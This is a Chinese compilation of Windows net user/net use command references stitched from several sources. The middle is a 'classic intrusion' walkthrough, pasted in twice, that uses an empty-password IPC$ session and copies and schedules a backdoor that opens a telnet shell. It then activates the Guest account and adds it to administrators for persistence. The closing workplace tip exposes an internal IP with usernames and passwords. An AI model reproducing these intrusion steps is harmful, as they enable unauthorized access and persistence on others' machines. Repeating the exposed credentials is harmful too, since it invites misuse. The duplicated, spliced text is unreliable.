常用命令格式
 
1 添加一个用户，用户名123，密码pass 
net user 123 pass /add
 
2 删除123用户，net user 123 /delete
 
3 激活123用户 net user 123 /active:yes ，若要禁用则把 yes改成no
 
4 net user 列出所有用户
 
5 net user 123 列出123用户的详细信息
 
更详细的net user使用
 
NET USER
[username [password | *] [options]] [/DOMAIN]
         username {password | *} /ADD [options] [/DOMAIN]
         username [/DELETE] [/DOMAIN]
 
NET USER 用于创建和修改计算机上的用户帐户。当不带选项使用本命令时，
它会列出计算机上的用户帐户。用户帐户的信息存储在用户帐户数据库中。
 
该命令仅在服务器上运行。
 

username     指需要进行添加、删除、修改或者浏览的用户帐户的名字。用户帐
             户的名字不能超过 20 个字符。
password     分配或改变用户帐户的密码。密码必须满足 NET ACCOUNTS 命令的
             /MINPWLEN 选项指定的最小长度的要求。它至多可以具有 14 个字符。
*            提示输入密码。当用户在密码提示符下输入时，密码是不会显示的。
/DOMAIN      在当前域的主域控制器上执行操作。
/ADD         将用户帐户添加到用户帐户数据库中。
/DELETE      从用户帐户数据库中删除用户帐户。
 
Options      如下所示：
 
    Options                    描述
   --------------------------------------------------------------------
   /ACTIVE:{YES | NO}         激活或停用帐户。如果帐户处于停用状态，用户
                              就不能访问该服务器。该选项的默认值是 YES。
   /COMMENT:"text"            提供关于用户帐户的一个描述性注释。需要将文本
                              括在引号中。
   /COUNTRYCODE:nnn           使用操作系统的国家/地区代码来实施用户的帮助
                              和错误消息的特定语言文件。0 表示默认的国家/地
                              区代码。
   /EXPIRES:{date | NEVER}    如果日期被设置，就会引起帐户过期。设置NEVER，
                              对帐户就没有时间上的限制。根据国家/地区代码的
                              不同，有效日期的格式可以是月/日/年或日/月/年。
                              月可以是一个数字，拼写完整的或三个字母的缩写。
                              年可以是两位或四位数字。使用斜线(/)(没有空格)
                              来分隔日期的各个部分。
   /FULLNAME:"name"           是一个用户的完整名字(而不是用户名)。需要把名字
                              用引号括起来。
   /HOMEDIR:pathname          设置用户的主目录的路径。路径必须已经存在。
   /PASSWORDCHG:{YES | NO}    指定用户是否可以改变自己的密码。其默认值是 YES。
   /PASSWORDREQ:{YES | NO}    指定用户的帐户是否必须具有密码。其默认值是 YES。
   /PROFILEPATH[:path]        为用户的登录配置文件设置路径。
   /SCRIPTPATH:pathname       指用户的登录文件所在的位置。
   /TIMES:{times | ALL}       指用户可以登录的时间。TIMES 的表达方式是
                              day[-day][,day[-day]],time[-time][,time[-time]]，
                              增量限制在 1 小时。天可以是全部拼写或缩写。小时
                              可以是 12 小时或 24 小时制。对于 12 小时制，可
                              以使用 AM，PM。ALL 表示用户总是可以登录。空值表
                              示用户永远不能登录。可以使用逗号分隔天和时间项，
                              并用分号分隔多个天和时间项。
   /USERCOMMENT:"text"        让管理人员添加或改变帐户的用户注释。
   /WORKSTATIONS:{computername[,...] | *}
                              列出至多8个用户可以登录到网络上的计算机。
                              如果 /WORKSTATIONS 没有列表或列表是 *，
                              用户就可以从任何一台计算机上登录。

net user 用户名　密码　/add 建立用户 
 
 net user guest /active:yes 激活guest用户 
 
 net user guest /active:no 不使用guest用户 
 
 net user 查看有哪些用户 
 
 net user 帐户名 查看帐户的属性 
 
 net localgroup 查看工作组 
 
 net localgroup administrators 用户名 /add 把“用户”添加到管理员中(用户名必须存在) 
 
 net start 启动服务 
 
 net stop 停止服务 
 
 八 相关命令 
 
 1)建立空连接: 
 net use \\IP\ipc$ "" /user:"" (一定要注意:这一行命令中包含了3个空格) 
 
 2)建立非空连接: 
 net use \\IP\ipc$ "用户名" /user:"密码" (同样有3个空格) 
 
 3)映射默认共享: 
 net use z: \\IP\c$ "密码" /user:"用户名" (即可将对方的c盘映射为自己的z盘，其他盘类推) 
 如果已经和目标建立了ipc$，则可以直接用IP+盘符+$访问,具体命令 net use z: \\IP\c$ 
 
 4)删除一个ipc$连接 
 net use \\IP\ipc$ /del 
 
 5)删除共享映射 
 net use c: /del 删除映射的c盘，其他盘类推 
 net use * /del 删除全部,会有提示要求按y确认 
 
 
 九 经典入侵模式 
 这个入侵模式太经典了,大部分ipc教程都有介绍,我也就拿过来引用了,在此感谢原创作者!(不知道是哪位前辈) 
 
 1. C:\>net use \\127.0.0.1\IPC$ "" /user:"admintitrators" 
 这是用《流光》扫到的用户名是administrators，密码为"空"的IP地址(空口令?哇,运气好到家了)，如果是打算攻击的话，就可以用这样的命令来与127.0.0.1建立一个连接，因为密码为"空"，所以第一个引号处就不用输入，后面一个双引号里的是用户名，输入administrators，命令即可成功完成。 
 
 2. C:\>copy srv.exe \\127.0.0.1\admin$ 
 先复制srv.exe上去，在流光的Tools目录下就有（这里的$是指admin用户的c:\winnt\system32\，大家还可以使用c$、d$，意思是C盘与D盘，这看你要复制到什么地方去了）。 
 
 3. C:\>net time \\127.0.0.1 
 查查时间，发现127.0.0.1 的当前时间是 2002/3/19 上午 11:00，命令成功完成。 
 
 4. C:\>at \\127.0.0.1 11:05 srv.exe 
 用at命令启动srv.exe吧（这里设置的时间要比主机时间快，不然你怎么启动啊，呵呵！） 
 
 5. C:\>net time \\127.0.0.1 
 再查查到时间没有？如果127.0.0.1 的当前时间是 2002/3/19 上午 11:05，那就准备开始下面的命令。 
 
 6. C:\>telnet 127.0.0.1 99 
 这里会用到Telnet命令吧，注意端口是99。Telnet默认的是23端口，但是我们使用的是SRV在对方计算机中为我们建立一个99端口的Shell。 
 虽然我们可以Telnet上去了，但是SRV是一次性的，下次登录还要再激活！所以我们打算建立一个Telnet服务！这就要用到ntlm了 
 
 7.C:\>copy ntlm.exe \\127.0.0.1\admin$ 
 用Copy命令把ntlm.exe上传到主机上（ntlm.exe也是在《流光》的Tools目录中）。 
 
 8. C:\WINNT\system32>ntlm 
 输入ntlm启动（这里的C:\WINNT\system32>指的是对方计算机，运行ntlm其实是让这个程序在对方计算机上运行）。当出现"DONE"的时候，就说明已经启动正常。然后使用"net start telnet"来开启Telnet服务！ 
 
 9. Telnet 127.0.0.1，接着输入用户名与密码就进入对方了，操作就像在DOS上操作一样简单！(然后你想做什么?想做什么就做什么吧,哈哈) 
 
 为了以防万一,我们再把guest激活加到管理组 
 10. C:\>net user guest /active:yes 
 将对方的Guest用户激活 
 
 11. C:\>net user guest 1234 
 将Guest的密码改为1234,或者你要设定的密码 
 
 12. C:\>net localgroup administrators guest /add 
 将Guest变为Administrator^_^(如果管理员密码更改，guest帐号没改变的话，下次我们可以用guest再次访问这台计算机) 

 

 九 经典入侵模式 

 这个入侵模式太经典了,大部分ipc教程都有介绍,我也就拿过来引用了,在此感谢原创作者!(不知道是哪位前辈) 

 

 1. C:\>net use \\127.0.0.1\IPC$ "" /user:"admintitrators" 

 这是用《流光》扫到的用户名是administrators，密码为"空"的IP地址(空口令?哇,运气好到家了)，如果是打算攻击的话，就可以用这样的命令来与127.0.0.1建立一个连接，因为密码为"空"，所以第一个引号处就不用输入，后面一个双引号里的是用户名，输入administrators，命令即可成功完成。

 

 2. C:\>copy srv.exe \\127.0.0.1\admin$ 

 先复制srv.exe上去，在流光的Tools目录下就有（这里的$是指admin用户的c:\winnt\system32\，大家还可以使用c$、d$，意思是C盘与D盘，这看你要复制到什么地方去了）。

 

 3. C:\>net time \\127.0.0.1 

 查查时间，发现127.0.0.1 的当前时间是 2002/3/19 上午 11:00，命令成功完成。 

 

 4. C:\>at \\127.0.0.1 11:05 srv.exe 

 用at命令启动srv.exe吧（这里设置的时间要比主机时间快，不然你怎么启动啊，呵呵！） 

 

 5. C:\>net time \\127.0.0.1 

 再查查到时间没有？如果127.0.0.1 的当前时间是 2002/3/19 上午 11:05，那就准备开始下面的命令。 

 

 6. C:\>telnet 127.0.0.1 99 

 这里会用到Telnet命令吧，注意端口是99。Telnet默认的是23端口，但是我们使用的是SRV在对方计算机中为我们建立一个99端口的Shell。 

 虽然我们可以Telnet上去了，但是SRV是一次性的，下次登录还要再激活！所以我们打算建立一个Telnet服务！这就要用到ntlm了 

 

 7.C:\>copy ntlm.exe \\127.0.0.1\admin$ 

 用Copy命令把ntlm.exe上传到主机上（ntlm.exe也是在《流光》的Tools目录中）。 

 

 8. C:\WINNT\system32>ntlm 

 输入ntlm启动（这里的C:\WINNT\system32>指的是对方计算机，运行ntlm其实是让这个程序在对方计算机上运行）。当出现"DONE"的时候，就说明已经启动正常。然后使用"net start telnet"来开启Telnet服务！

 

 9. Telnet 127.0.0.1，接着输入用户名与密码就进入对方了，操作就像在DOS上操作一样简单！(然后你想做什么?想做什么就做什么吧,哈哈) 

 

 为了以防万一,我们再把guest激活加到管理组 

 10. C:\>net user guest /active:yes 

 将对方的Guest用户激活 

 

 11. C:\>net user guest 1234 

 将Guest的密码改为1234,或者你要设定的密码 

 

 12. C:\>net localgroup administrators guest /add 

 将Guest变为Administrator^_^(如果管理员密码更改，guest帐号没改变的话，下次我们可以用guest再次访问这台计算机) 

作用:管理用户 
命令: 
net user (查看用户列表) 
net user 用户名 (查看用户资料) 
net user 用户名 "密码" (更改用户密码) 
net user 用户名 "密码" /add (增加用户) 
net user 用户名 /del (删除用户) 
示例: 
C:/documents and Settings/Administrator>net user 
//SOMEONE 的用户帐户 
------------------------------------------------------------------------------- 
Administrator Guest IUSR_SOMEONE 
IWAM_SOMEONE 
命令成功完成。 
 
C:/documents and Settings/Administrator>net user administrator 
用户名 Administrator 
全名 
注释 管理计算机(域)的内置帐户 
用户的注释 
国家(地区)代码 000 (系统默认值) 
帐户启用 Yes 
帐户到期 永不 
上次设置密码 2002/8/18 下午 08:42 
密码到期 永不 
密码可更改 2002/8/18 下午 08:42 
需要密码 Yes 
用户可以更改密码 Yes 
允许的工作站 All 
登录脚本 
用户配置文件 
主目录 
上次登录 2004/1/19 上午 10:07 
可允许的登录小时数 All 
本地组会员 *Administrators *Debugger Users 
全局组成员 *None 
命令成功完成。 
 
C:/documents and Settings/Administrator>net user administrator "02334" 
命令成功完成。 
 
C:/documents and Settings/Administrator>net user wudi "1234" /add 
命令成功完成。 
 
C:/documents and Settings/Administrator>net user wudi /del 
命令成功完成。 
备注:修改用户要有权限,例如GUEST不能改ADMINISTRATOR的密码.而ADMINISTRATOR可以改所有人的密码! 
{7}net localgroup 
作用:管理/查看用户组(权限!!) 
命令: 
net localgroup 
net localgroup 组名 
net localgroup 用户名 /add 
net localgroup 用户名 /del 
示例; 
C:/documents and Settings/Administrator>net localgroup 
//SOMEONE 的别名 
------------------------------------------------------------------------------- 
*Administrators *Backup Operators *Debugger Users 
*Guests *Power Users *Replicator 
*Users *VS Developers 
命令成功完成。 
 
C:/documents and Settings/Administrator>net localgroup administrators 
别名 administrators 
注释 管理员对计算机/域有不受限制的完全访问权 
成员 
------------------------------------------------------------------------------- 
Administrator 
命令成功完成。 
 
C:/documents and Settings/Administrator>net localgroup administrators wudi /add 
命令成功完成。 
 
C:/documents and Settings/Administrator>net localgroup administrators wudi /del 
命令成功完成。

  
 
前几天去现场，发现实施的同学在操作图形工作站上的文件特别麻烦，大屏分辨率比较大的话，还得开个放大镜去看，有的还要跑到机房去插U盘的，总之特别费劲！
 
其实，这些都可以在自己工作机上远程使用net user命令解决文件操作问题。
 
PS：首先的保证你的工作机能PING通图形工作站
 
如下有两种命令方式：
 
net use \\ip地址\ipc$ "密码" /user:"用户名" 建立IPC非空链接 
net use h: \\ip地址\c$ "密码" /user:"用户名" 直接登陆后映射对方C：到本地为H: 
 
下面举个示例：
 需求：要从本机远程拷贝主机（172.16.14.95）C盘下的某文件
 
1.打开菜单下的运行栏，输入CMD
 
 
2.输入并执行命令
 
net use \\172.16.14.95\ipc$ Peony911 /user:wangq
 
 
3.再次回到运行栏，输入\\172.16.14.95\c$
 
 
4.双击其中的c$文件夹即可
 
 
另外一种方式，在DOS命令窗口输入
 
net use h: \\172.16.14.95\c$ Peony+911 /user:techstar\wangqin
 
执行成功后打开本地磁盘